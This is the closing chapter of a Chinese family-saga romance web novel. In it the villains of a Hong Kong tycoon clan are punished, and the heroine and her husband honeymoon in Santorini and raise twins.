前几天带着艾米去莲岛“散心”的萧长堂不知怎么,居然染上了毒瘾,仅仅十几天,便输光了莲岛的所有物业,包括名下的几家赌场跟别墅、豪车,不光如此,他赌博急红了眼,输掉了大半家当,还打伤了人,艾米也怕闹出人命,到时候不好跑路,劝说着让萧长堂收手。 萧长堂哪里能听她的话,自己的赌场输掉了,一脚踹掉艾米,又跑去莲岛最大的赌场赌博,结果越赌越输,到最后签下了几亿港币的赌债。 赌场的老板直接把萧长堂扣下了,派人给港城萧家递了消息。 三太邓颖梅刚得知这个消息,两眼一翻就撅过去了。 三太一晕过去,这事就瞒不住了,萧老爷子知道这事情的时候,正在跟成老爷子一起下棋。 成老爷子下棋过很快,跟他这个人一样雷厉风行,不过数个回合下来还是没赢过萧老爷子。 萧老爷子赢了棋,心情大好,正要去院子里走上一走,那头老管家承叔忽然从外面急色匆匆的进来,低声道,“不好了,老太爷,家里出事了。” “出什么事了?” 萧老爷子面色一沉,承叔不好开口,成老爷子极有眼色,跟老友寒暄几句,就起身告辞。 成老爷子一走,承叔就将事情来龙去脉讲了一遍,萧老爷子手抖不止,一双虎目满是怒气,手中的黄花梨拐杖重重落下,“那个畜生现在在哪儿!” “在大厅里。” “走,老子要打死这个畜生!” 萧老爷子怒意满面,去了大厅。 大厅里三房一家人跟佣人噤若寒蝉,萧长堂脸上乌青,萧老爷子一进门手中的拐杖在地面发出沉闷的碰撞声,怒喝道,“畜生,跪下!” 萧长堂白着一张脸下跪,萧老爷子抄起拐杖狠狠地砸向萧长堂后背,打得他皮开肉绽也没停下。 三太哭着扑过去想阻拦,萧老爷子虎目圆瞪,“谁敢拦着,老子连他一起打!” 众人不敢作声,这天晚上,萧长堂被打个半死,直接断了一条右腿,下半辈子成了残废。 而远在澳洲的萧家二房也出了意外,岳家明一家三口夜晚乘车外出,遇上了醉酒的白人酒鬼出了车祸。 第56章【终章】 第56章 第56章终章 九十年代的澳洲华人地位普遍不高,即便岳家明手下有个小帮派,在某些白人眼里依旧没什么威胁。 这次车祸岳家明一家三口伤得伤,躺得躺,即便是受伤最轻的岳豪也要在医院休养一个月才能康复。 最惨的是萧思琪,她虽然年过四十,因着保养得当加上长相美艳,走出去比同龄的澳洲女人年轻不少,很能吸引白男的注意。 萧思琪一向引以为傲,没想到一场车祸直接让她破了相,“家明,打死那个白猪,我要毁容了!” 萧思琪捂着脸大喊大叫,岳家明脸色阴鹜,他刚刚得到消息,三房萧长堂染上了毒瘾,赌光了名下所有的产业,还欠了几亿港币的赌债,这其中就有跟萧长堂合开的几家赌场 岳家明在国内损兵折将,损失惨重,现在又出了车祸,胳膊打着绷带,对上哭天喊地的萧思琪,忍着滔天盛怒,从牙缝里蹦出两个字:“你给老子闭嘴!” 他声音透出蚀骨寒意,金丝眼镜后面的目光能杀人。 萧思琪跟岳家明做了二十多年夫妻,不是不知道这个丈夫骨子里的狠辣无情,不过这还是岳家明头一次冲她发火。 萧思琪气得不轻,刚想继续发脾气,谁想到岳家明接了一通电话,气急败坏又出了门。 萧思琪一肚子火没处发,蹬蹬蹬踩着高跟鞋闯进二楼佛室,冲着念佛的二太钟莉大叫,“妈咪,家里出了这么大的事,你还念佛吃斋!听说大房萧砚那个贱人老婆有孩子了! 他们大房过得这么好,凭什么我们二房就要跟丧家之犬一样被放逐到澳洲来,说来说去还是你没本事,斗来斗去这么多年什么也没得到!” “早知道这样,当初就应该让萧砚跟他那对短命哥嫂一样,在海外出车祸死了,一了百了!” 不管萧思琪怎么发疯,钟莉都拨动着手腕上的白玉念珠,口中念着梵文,一副心如止水模样。 等到萧思琪骂累离开,满头白发的钟莉才睁开眼膜,檀香袅袅中她念了句,“善如春种,静待秋实,恶似火苗,终焚己身。” “善恶到头终有报,二房的报应就要来了。” “” * 1992年寒冬,萧家二、三房相继出事,萧长堂断了一条腿,萧老爷子大怒之下,把三房所有的产业移交给三儿子萧长昌,这场产业之争,终究是三房二儿子一家大获全胜。 萧长堂狗改不了吃屎,又偷偷去外面赌了几次,欠下大笔债务。 萧老爷子对这个儿子彻底失望心凉,又发现当年长孙萧台夫妇在西班牙出车祸跟萧长堂有脱不了的关系,吐血后,亲手将萧长堂送进了警察署。 警察署办案迅速,很快就把案子审理清楚了。 当年萧家长孙萧台芝兰玉树,温润如玉,处事稳重可靠,很得萧老爷子器重,港城豪门几乎认定了,萧台就是萧氏集团未来的掌舵人。 萧家产业遍布全球,二房女婿岳家明跟三房长子萧长堂不满大部分产业归了大房,起了歹毒之心,趁着萧台陪同太太回西班牙探亲,制造了一场车祸浩劫。 这场车祸让萧台夫妇当场殒命,只留下一对年幼的儿女、伤心欲绝的亲人,还有摇摇欲坠的萧氏集团。 当时二、三房想趁乱瓜分萧家产业,没想到在外留学的萧家二少爷萧砚回国,接收萧氏集团,仅用了数月的时间就雷厉风行稳住了局势,坐稳了集团接班人的位置。 岳家明、萧长堂之流暴跳如雷,又伙同苗族蛊女出身的成家五姨太给萧砚下了毒 萧砚自此患了厌食症,姜沉鱼某次泡澡的时候,发现自己手上的玉镯碧绿如一潭清泉,似有水流涌动,还听到滴答滴答水声,继而开启了玉镯自带的灵泉。 姜沉鱼穿越前可没少看小说,玉镯里的灵泉能洗髓身体,延年益寿。 她偷偷给萧砚喝了几天,没想到把他的厌食症治好了。 萧家大房喜气洋洋,岳家明、萧长堂联合成家五姨太杀人这场案件轰动整个港城,岳家明在海外被萧砚挤压到破产,整个人如同过街老鼠人人喊打,丧心病狂偷渡回港城,想暗杀萧砚,结果一下轮渡,就被警察署的刑警抓捕,前几年岳家明作恶多端,身上背负了数条人命,根据直接判了死刑。 萧长堂跟成家五姨太犯故意杀人罪,二人还有其他罪行,案子还在审理,也少不了死刑。 萧家大房多年的阴霾消散,萧长章、郭玉琴夫妇大哭一场,带着萧茗、萧甜兄弟俩去了西班牙,给长子夫妇扫墓。 三太邓颖梅还想到大房来找姜沉鱼求情,姜沉鱼借口孕中养胎拒了两三回,本想着三房人能知难而退,没想到三太跟孙女萧佳怡在姜沉鱼跟成朱莉外出的时候寻了过来。 “小鱼啊,不管你三叔做了什么错事,过往的事情都没法改变了,咱们都是一家人,你是个善解人意的好孩子” 三太邓颖梅一反往日用眼尾扫人的姿态,笑容亲切上前跟姜沉鱼套近乎。 姜沉鱼眸子潋滟,看着温婉端淑,说出口的话却不叫人不舒服极了,“三太,咱们两房关系可不如您说的这般亲近,我还有些事情,就不耽误您散步了。” 说罢,她不等三太说什么,步履娉婷跟成朱莉往车上走。 成朱莉抱着胸脯讥讽,“一把年纪了还脸皮这么厚,你儿子都成了杀人犯了,还找小鱼求情,也不知道哪来的脸。” “啧,怪不得五姨太能跟你儿子混到一起害人,都是一丘之貉!” 阿秋也在边上嘀咕,“真是龙生龙凤生凤,老鼠的崽子会害人!” 三太养尊处优几十年,哪有这么受气的时候,她气得打颤,萧 佳怡直接仰起巴掌冲过来打人。 “贱人,你说什么!” “哎哟,还有人上赶着找孽!” 成朱莉刚想撸袖子迎战,萧佳怡面容狰狞,她不光想打成朱莉,姜沉鱼这个贱人也要打,然而她连姜沉鱼的头发丝都没有碰到,反被姜沉鱼反手甩了一巴掌。 啪! 清脆又响亮。 萧佳怡被打蒙了一瞬,随即反应过来,涌上满是不可思议的情绪。 “你敢打我?姜沉鱼你敢打我!我跟你拼了!” 姜沉鱼美眸碎芒滢滢,稀薄冬日阳光给她的面容渡上了一层冷锐,她冷笑一声,又甩过去一巴掌 “祖母,我好痛啊。” 萧佳怡实在打不过,捂着脸躲到三太身后,委屈的直掉眼泪,精致妆容都哭花了,她一身狼狈,精心打理好的卷发乱的跟鸡窝一样。 三太怒容满面,凌厉的目光射向姜沉鱼:“姜沉鱼,这就是你面对长辈时的家教!” 三太想拿出家中长辈的阵势压倒姜沉鱼,谁知道姜沉鱼压根儿不吃她这一套,舌灿莲花一顿说,直接把她们祖孙俩气个半死。 姜沉鱼享受丰盛晚餐,进浴室泡澡,在书房加班的萧砚听到流水声,薄唇微勾,也跟着进了浴室。 姜沉鱼惊讶,“你进来做什么?” 萧砚随手将门碰上,随即抽出手将人轻而易举提起来搁在洗漱台上,双臂撑在她两侧,笑看她漂亮的眉眼,“我进来服侍萧太太洗澡,不可以吗?” 猛然被吻住的姜沉鱼:“” 这人脸皮怎么越发厚了? 新年鞭炮声声,港城一片喜庆。 萧砚放下手中的工作,带着姜沉鱼出发去了希腊圣托里尼岛。 圣托里尼这座爱琴海中最美的岛屿,仿佛融化了全世界最多情的蓝与白来缔造它的神秘感,从烈日当空到夕阳斜照,再到晚风轻拂,有看不尽的美丽风景,也有最动人的饱满情绪,和喜欢的人一起掉进这蓝色的梦里,把全世界的浪漫都拥进怀里。 圣托里尼的夜晚,海风里都夹杂着浪漫,姜沉鱼跟萧砚手牵手赤脚走在沙滩上,蓝色、白色和灯光交织在一起,踏在石板路上来来回回的走着,感觉整个岛屿都变成了童话世界。 沙滩上有位老太太售卖棉花糖,姜沉鱼想吃,萧砚笑了下,小丫头这么多年了口味一直没变。 姜沉鱼自小最喜欢的还是糖果,甜甜的糖果总是会带来好的心情,有任何烦心事只要吃上一颗就会忘记一切。 夫妻俩吃着棉花糖,一直漫步走到傍晚,傍晚的灯光下,姜沉鱼看萧砚拿出一个头花,她瞪大眼,这不是自己小时候丢的那个水晶头花吗? 原以为是丢了,原来是给萧砚捡走珍藏了。 “好啊,原来你早就对我图谋不轨了。” 萧砚在漫天霞光中,搂住她,“嗯,我早对萧太太情根深种了。” 姜沉鱼推他,“呸,真是不害羞。” 萧砚笑着吻了吻妻子的手,一如当年他在菩提树下许的愿,只愿与她岁岁年年,生生世世相守。 人生在世,寻寻觅觅这一生,想要寻找的无非只是单纯的渴望一个与自己可以相互依偎的灵魂。 成年人的世界里,喜欢与爱,都是极为奢侈的事物。 简单而美好的爱情,他终于抓住了。 今生还会放手吗? 绝对不会。 五年后,萧家多了对萌死人不偿命的兄妹,小太阳是哥哥,小月亮是妹妹。 小太阳今年五岁了,小月亮也是五岁,两人是龙凤胎。 姜沉鱼生下的一对儿女,小太阳像妈妈,小月亮像爸爸,小太阳小脸还带点婴儿肥,一双勾人桃花眼,唇红齿白的,很招小女孩的喜欢。 但是小太阳不喜欢小女生,他只感觉烦,小月亮喜欢缠着哥哥,小太阳虽然觉得腻歪,但还是对妹妹好,没办法,这是他的亲妹妹,就像爹地妈咪说的那样,当哥哥的就要照顾好妹妹。 小月亮虽然也好看,但天生是个小胖妞,她最喜欢吃零食,小月亮的小书包里,每天都有牛奶糖薯条小虾条,她吃了这些,更挑食了。 儿子小傲娇,女儿小挑食,姜沉鱼头疼不已,还是萧砚有办法,晚上他下班回家抱着两个宝贝给他们讲道理,果然两个小宝贝就乖乖听话了。 姜沉鱼诧异,偷偷问人,萧砚挑眉: “想知道答案,晚上服务好就告诉你。” 姜沉鱼气急败坏,看来朱莉说的没错,这辈子她都斗不过萧砚这厮了。 不过,这有什么关系呢? 她有小太阳还有小月亮,还有丈夫的宠爱,偶尔输给丈夫一下,也什么大不了的,对吧。